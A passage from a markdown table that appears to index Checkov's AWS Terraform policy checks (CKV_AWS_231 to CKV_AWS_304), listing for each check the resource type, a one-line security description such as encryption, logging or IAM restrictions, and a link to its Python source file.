Terraform | [NetworkACLUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py) | | 329 | CKV_AWS_231 | resource | aws_network_acl_rule | Ensure no NACL allow ingress from 0.0.0.0:0 to port 3389 | Terraform | [NetworkACLUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py) | | 330 | CKV_AWS_232 | resource | aws_network_acl | Ensure no NACL allow ingress from 0.0.0.0:0 to port 22 | Terraform | [NetworkACLUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py) | | 331 | CKV_AWS_232 | resource | aws_network_acl_rule | Ensure no NACL allow ingress from 0.0.0.0:0 to port 22 | Terraform | [NetworkACLUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py) | | 332 | CKV_AWS_233 | resource | aws_acm_certificate | Ensure Create before destroy for ACM certificates | Terraform | [ACMCertCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ACMCertCreateBeforeDestroy.py) | | 333 | CKV_AWS_234 | resource | aws_acm_certificate | Verify logging preference for ACM certificates | Terraform | [ACMCertSetLoggingPreference.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ACMCertSetLoggingPreference.py) | | 334 | CKV_AWS_235 | resource | aws_ami_copy | Ensure that copied AMIs are encrypted | Terraform | [AMICopyIsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMICopyIsEncrypted.py) | | 335 | CKV_AWS_236 | resource | aws_ami_copy | Ensure AMI copying uses a CMK | Terraform | [AMICopyUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMICopyUsesCMK.py) | | 336 | CKV_AWS_237 | resource | aws_api_gateway_rest_api | Ensure Create before destroy for API Gateway | Terraform | [APIGatewayCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayCreateBeforeDestroy.py) | | 337 | CKV_AWS_238 | resource | aws_guardduty_detector | Ensure that GuardDuty detector is enabled | Terraform | [GuarddutyDetectorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GuarddutyDetectorEnabled.py) | | 338 | CKV_AWS_239 | resource | aws_dax_cluster | Ensure DAX cluster endpoint is using TLS | Terraform | [DAXEndpointTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DAXEndpointTLS.py) | | 339 | CKV_AWS_240 | resource | aws_kinesis_firehose_delivery_stream | Ensure Kinesis Firehose delivery stream is encrypted | Terraform | [KinesisFirehoseDeliveryStreamSSE.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamSSE.py) | | 340 | CKV_AWS_241 | resource | aws_kinesis_firehose_delivery_stream | Ensure that Kinesis Firehose Delivery Streams are encrypted with CMK | Terraform | [KinesisFirehoseDeliveryStreamUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamUsesCMK.py) | | 341 | CKV_AWS_242 | resource | aws_mwaa_environment | Ensure MWAA environment has scheduler logs enabled | Terraform | [MWAASchedulerLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAASchedulerLogsEnabled.py) | | 342 | CKV_AWS_243 | resource | aws_mwaa_environment | Ensure MWAA environment has worker logs enabled | Terraform | [MWAAWorkerLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAAWorkerLogsEnabled.py) | | 343 | CKV_AWS_244 | resource | aws_mwaa_environment | Ensure MWAA environment has webserver logs enabled | Terraform | [MWAAWebserverLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAAWebserverLogsEnabled.py) | | 344 | CKV_AWS_245 | resource | aws_db_instance_automated_backups_replication | Ensure replicated backups are encrypted at rest using KMS CMKs | Terraform | [RDSInstanceAutoBackupEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstanceAutoBackupEncryptionWithCMK.py) | | 345 | CKV_AWS_246 | resource | aws_rds_cluster_activity_stream | Ensure RDS Cluster activity streams are encrypted using KMS CMKs | Terraform | [RDSClusterActivityStreamEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterActivityStreamEncryptedWithCMK.py) | | 346 | CKV_AWS_247 | resource | aws_elasticsearch_domain | Ensure all data stored in the Elasticsearch is encrypted with a CMK | Terraform | [ElasticsearchEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py) | | 347 | CKV_AWS_247 | resource | aws_opensearch_domain | Ensure all data stored in the Elasticsearch is encrypted with a CMK | Terraform | [ElasticsearchEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py) | | 348 | CKV_AWS_248 | resource | aws_elasticsearch_domain | Ensure that Elasticsearch is not using the default Security Group | Terraform | [ElasticsearchDefaultSG.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py) | | 349 | CKV_AWS_248 | resource | aws_opensearch_domain | Ensure that Elasticsearch is not using the default Security Group | Terraform | [ElasticsearchDefaultSG.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py) | | 350 | CKV_AWS_249 | resource | aws_ecs_task_definition | Ensure that the Execution Role ARN and the Task Role ARN are different in ECS Task definitions | Terraform | [ECSTaskDefinitionRoleCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSTaskDefinitionRoleCheck.py) | | 351 | CKV_AWS_250 | resource | aws_db_instance | Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/) | Terraform | [RDSPostgreSQLLogFDWExtension.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py) | | 352 | CKV_AWS_250 | resource | aws_rds_cluster | Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/) | Terraform | [RDSPostgreSQLLogFDWExtension.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py) | | 353 | CKV_AWS_251 | resource | aws_cloudtrail | Ensure CloudTrail logging is enabled | Terraform | [CloudtrailEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEnableLogging.py) | | 354 | CKV_AWS_252 | resource | aws_cloudtrail | Ensure CloudTrail defines an SNS Topic | Terraform | [CloudtrailDefinesSNSTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailDefinesSNSTopic.py) | | 355 | CKV_AWS_253 | resource | aws_dlm_lifecycle_policy | Ensure DLM cross region events are encrypted | Terraform | [DLMEventsCrossRegionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryption.py) | | 356 | CKV_AWS_254 | resource | aws_dlm_lifecycle_policy | Ensure DLM cross region events are encrypted with Customer Managed Key | Terraform | [DLMEventsCrossRegionEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryptionWithCMK.py) | | 357 | CKV_AWS_255 | resource | aws_dlm_lifecycle_policy | Ensure DLM cross region schedules are encrypted | Terraform | [DLMScheduleCrossRegionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryption.py) | | 358 | CKV_AWS_256 | resource | aws_dlm_lifecycle_policy | Ensure DLM cross region schedules are encrypted using a Customer Managed Key | Terraform | [DLMScheduleCrossRegionEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryptionWithCMK.py) | | 359 | CKV_AWS_257 | resource | aws_codecommit_approval_rule_template | Ensure CodeCommit branch changes have at least 2 approvals | Terraform | [CodecommitApprovalsRulesRequireMin2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodecommitApprovalsRulesRequireMin2.py) | | 360 | CKV_AWS_258 | resource | aws_lambda_function_url | Ensure that Lambda function URLs AuthType is not None | Terraform | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionURLAuth.py) | | 361 | CKV_AWS_259 | resource | aws_cloudfront_response_headers_policy | Ensure CloudFront response header policy enforces Strict Transport Security | Terraform | [CloudFrontResponseHeaderStrictTransportSecurity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudFrontResponseHeaderStrictTransportSecurity.py) | | 362 | CKV_AWS_260 | resource | aws_security_group | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 363 | CKV_AWS_260 | resource | aws_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 364 | CKV_AWS_260 | resource | aws_vpc_security_group_ingress_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 365 | CKV_AWS_261 | resource | aws_alb_target_group | Ensure HTTP HTTPS Target group defines Healthcheck | Terraform | [LBTargetGroupsDefinesHealthcheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py) | | 366 | CKV_AWS_261 | resource | aws_lb_target_group | Ensure HTTP HTTPS Target group defines Healthcheck | Terraform | [LBTargetGroupsDefinesHealthcheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py) | | 367 | CKV_AWS_262 | resource | aws_kendra_index | Ensure Kendra index Server side encryption uses CMK | Terraform | [KendraIndexSSEUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KendraIndexSSEUsesCMK.py) | | 368 | CKV_AWS_263 | resource | aws_appflow_flow | Ensure AppFlow flow uses CMK | Terraform | [AppFlowUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppFlowUsesCMK.py) | | 369 | CKV_AWS_264 | resource | aws_appflow_connector_profile | Ensure AppFlow connector profile uses CMK | Terraform | [AppFlowConnectorProfileUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppFlowConnectorProfileUsesCMK.py) | | 370 | CKV_AWS_265 | resource | aws_keyspaces_table | Ensure Keyspaces Table uses CMK | Terraform | [KeyspacesTableUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KeyspacesTableUsesCMK.py) | | 371 | CKV_AWS_266 | resource | aws_db_snapshot_copy | Ensure DB Snapshot copy uses CMK | Terraform | [DBSnapshotCopyUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBSnapshotCopyUsesCMK.py) | | 372 | CKV_AWS_267 | resource | aws_comprehend_entity_recognizer | Ensure that Comprehend Entity Recognizer's model is encrypted by KMS using a customer managed Key (CMK) | Terraform | [ComprehendEntityRecognizerModelUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerModelUsesCMK.py) | | 373 | CKV_AWS_268 | resource | aws_comprehend_entity_recognizer | Ensure that Comprehend Entity Recognizer's volume is encrypted by KMS using a customer managed Key (CMK) | Terraform | [ComprehendEntityRecognizerVolumeUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerVolumeUsesCMK.py) | | 374 | CKV_AWS_269 | resource | aws_connect_instance_storage_config | Ensure Connect Instance Kinesis Video Stream Storage Config uses CMK | Terraform | [ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py) | | 375 | CKV_AWS_270 | resource | aws_connect_instance_storage_config | Ensure Connect Instance S3 Storage Config uses CMK | Terraform | [ConnectInstanceS3StorageConfigUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConnectInstanceS3StorageConfigUsesCMK.py) | | 376 | CKV_AWS_271 | resource | aws_dynamodb_table_replica | Ensure DynamoDB table replica KMS encryption uses CMK | Terraform | [DynamoDBTableReplicaKMSUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBTableReplicaKMSUsesCMK.py) | | 377 | CKV_AWS_272 | resource | aws_lambda_function | Ensure AWS Lambda function is configured to validate code-signing | Terraform | [LambdaCodeSigningConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaCodeSigningConfigured.py) | | 378 | CKV_AWS_273 | resource | aws_iam_user | Ensure access is controlled through SSO and not AWS IAM defined users | Terraform | [IAMUserNotUsedForAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMUserNotUsedForAccess.py) | | 379 | CKV_AWS_274 | resource | aws_iam_group_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 380 | CKV_AWS_274 | resource | aws_iam_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 381 | CKV_AWS_274 | resource | aws_iam_role | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 382 | CKV_AWS_274 | resource | aws_iam_role_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 383 | CKV_AWS_274 | resource | aws_iam_user_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 384 | CKV_AWS_274 | resource | aws_ssoadmin_managed_policy_attachment | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py) | | 385 | CKV_AWS_275 | data | aws_iam_policy | Disallow policies from using the AWS AdministratorAccess policy | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMManagedAdminPolicy.py) | | 386 | CKV_AWS_276 | resource | aws_api_gateway_method_settings | Ensure Data Trace is not enabled in API Gateway Method Settings | Terraform | [APIGatewayMethodSettingsDataTrace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsDataTrace.py) | | 387 | CKV_AWS_277 | resource | aws_security_group | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py) | | 388 | CKV_AWS_277 | resource | aws_security_group_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py) | | 389 | CKV_AWS_277 | resource | aws_vpc_security_group_ingress_rule | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py) | | 390 | CKV_AWS_278 | resource | aws_memorydb_snapshot | Ensure MemoryDB snapshot is encrypted by KMS using a customer managed Key (CMK) | Terraform | [MemoryDBSnapshotEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBSnapshotEncryptionWithCMK.py) | | 391 | CKV_AWS_279 | resource | aws_neptune_cluster_snapshot | Ensure Neptune snapshot is securely encrypted | Terraform | [NeptuneClusterSnapshotEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncrypted.py) | | 392 | CKV_AWS_280 | resource | aws_neptune_cluster_snapshot | Ensure Neptune snapshot is encrypted by KMS using a customer managed Key (CMK) | Terraform | [NeptuneClusterSnapshotEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncryptedWithCMK.py) | | 393 | CKV_AWS_281 | resource | aws_redshift_snapshot_copy_grant | Ensure RedShift snapshot copy is encrypted by KMS using a customer managed Key (CMK) | Terraform | [RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py) | | 394 | CKV_AWS_282 | resource | aws_redshiftserverless_namespace | Ensure that Redshift Serverless namespace is encrypted by KMS using a customer managed key (CMK) | Terraform | [RedshiftServerlessNamespaceKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftServerlessNamespaceKMSKey.py) | | 395 | CKV_AWS_283 | data | aws_iam_policy_document | Ensure no IAM policies documents allow ALL or any AWS principal permissions to the resource | Terraform | [IAMPublicActionsPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPublicActionsPolicy.py) | | 396 | CKV_AWS_284 | resource | aws_sfn_state_machine | Ensure State Machine has X-Ray tracing enabled | Terraform | [StateMachineXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/StateMachineXray.py) | | 397 | CKV_AWS_285 | resource | aws_sfn_state_machine | Ensure State Machine has execution history logging enabled | Terraform | [StateMachineLoggingExecutionHistory.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/StateMachineLoggingExecutionHistory.py) | | 398 | CKV_AWS_286 | resource | aws_iam_group_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 399 | CKV_AWS_286 | resource | aws_iam_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 400 | CKV_AWS_286 | resource | aws_iam_role_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 401 | CKV_AWS_286 | resource | aws_iam_user_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 402 | CKV_AWS_286 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py) | | 403 | CKV_AWS_287 | resource | aws_iam_group_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 404 | CKV_AWS_287 | resource | aws_iam_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 405 | CKV_AWS_287 | resource | aws_iam_role_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 406 | CKV_AWS_287 | resource | aws_iam_user_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 407 | CKV_AWS_287 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py) | | 408 | CKV_AWS_288 | resource | aws_iam_group_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 409 | CKV_AWS_288 | resource | aws_iam_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 410 | CKV_AWS_288 | resource | aws_iam_role_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 411 | CKV_AWS_288 | resource | aws_iam_user_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 412 | CKV_AWS_288 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py) | | 413 | CKV_AWS_289 | resource | aws_iam_group_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 414 | CKV_AWS_289 | resource | aws_iam_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 415 | CKV_AWS_289 | resource | aws_iam_role_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 416 | CKV_AWS_289 | resource | aws_iam_user_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 417 | CKV_AWS_289 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py) | | 418 | CKV_AWS_290 | resource | aws_iam_group_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 419 | CKV_AWS_290 | resource | aws_iam_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 420 | CKV_AWS_290 | resource | aws_iam_role_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 421 | CKV_AWS_290 | resource | aws_iam_user_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 422 | CKV_AWS_290 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMWriteAccess.py) | | 423 | CKV_AWS_291 | resource | aws_msk_cluster | Ensure MSK nodes are private | Terraform | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterNodesArePrivate.py) | | 424 | CKV_AWS_292 | resource | aws_docdb_global_cluster | Ensure DocumentDB Global Cluster is encrypted at rest (default is unencrypted) | Terraform | [DocDBGlobalClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBGlobalClusterEncryption.py) | | 425 | CKV_AWS_293 | resource | aws_db_instance | Ensure that AWS database instances have deletion protection enabled | Terraform | [RDSInstanceDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstanceDeletionProtection.py) | | 426 | CKV_AWS_294 | resource | aws_cloudtrail_event_data_store | Ensure CloudTrail Event Data Store uses CMK | Terraform | [CloudtrailEventDataStoreUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEventDataStoreUsesCMK.py) | | 427 | CKV_AWS_295 | resource | aws_datasync_location_object_storage | Ensure DataSync Location Object Storage doesn't expose secrets | Terraform | [DatasyncLocationExposesSecrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DatasyncLocationExposesSecrets.py) | | 428 | CKV_AWS_296 | resource | aws_dms_endpoint | Ensure DMS endpoint uses Customer Managed Key (CMK) | Terraform | [DMSEndpointUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSEndpointUsesCMK.py) | | 429 | CKV_AWS_297 | resource | aws_scheduler_schedule | Ensure EventBridge Scheduler Schedule uses Customer Managed Key (CMK) | Terraform | [SchedulerScheduleUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SchedulerScheduleUsesCMK.py) | | 430 | CKV_AWS_298 | resource | aws_dms_s3_endpoint | Ensure DMS S3 uses Customer Managed Key (CMK) | Terraform | [DMSS3UsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSS3UsesCMK.py) | | 431 | CKV_AWS_300 | resource | aws_s3_bucket_lifecycle_configuration | Ensure S3 lifecycle configuration sets period for aborting failed uploads | Terraform | [S3AbortIncompleteUploads.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AbortIncompleteUploads.py) | | 432 | CKV_AWS_301 | resource | aws_lambda_permission | Ensure that AWS Lambda function is not publicly accessible | Terraform | [LambdaFunctionIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionIsNotPublic.py) | | 433 | CKV_AWS_302 | resource | aws_db_snapshot | Ensure DB Snapshots are not Public | Terraform | [DBSnapshotsArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBSnapshotsArePrivate.py) | | 434 | CKV_AWS_303 | resource | aws_ssm_document | Ensure SSM documents are not Public | Terraform | [SSMDocumentsArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMDocumentsArePrivate.py) | | 435 | CKV_AWS_304 | resource 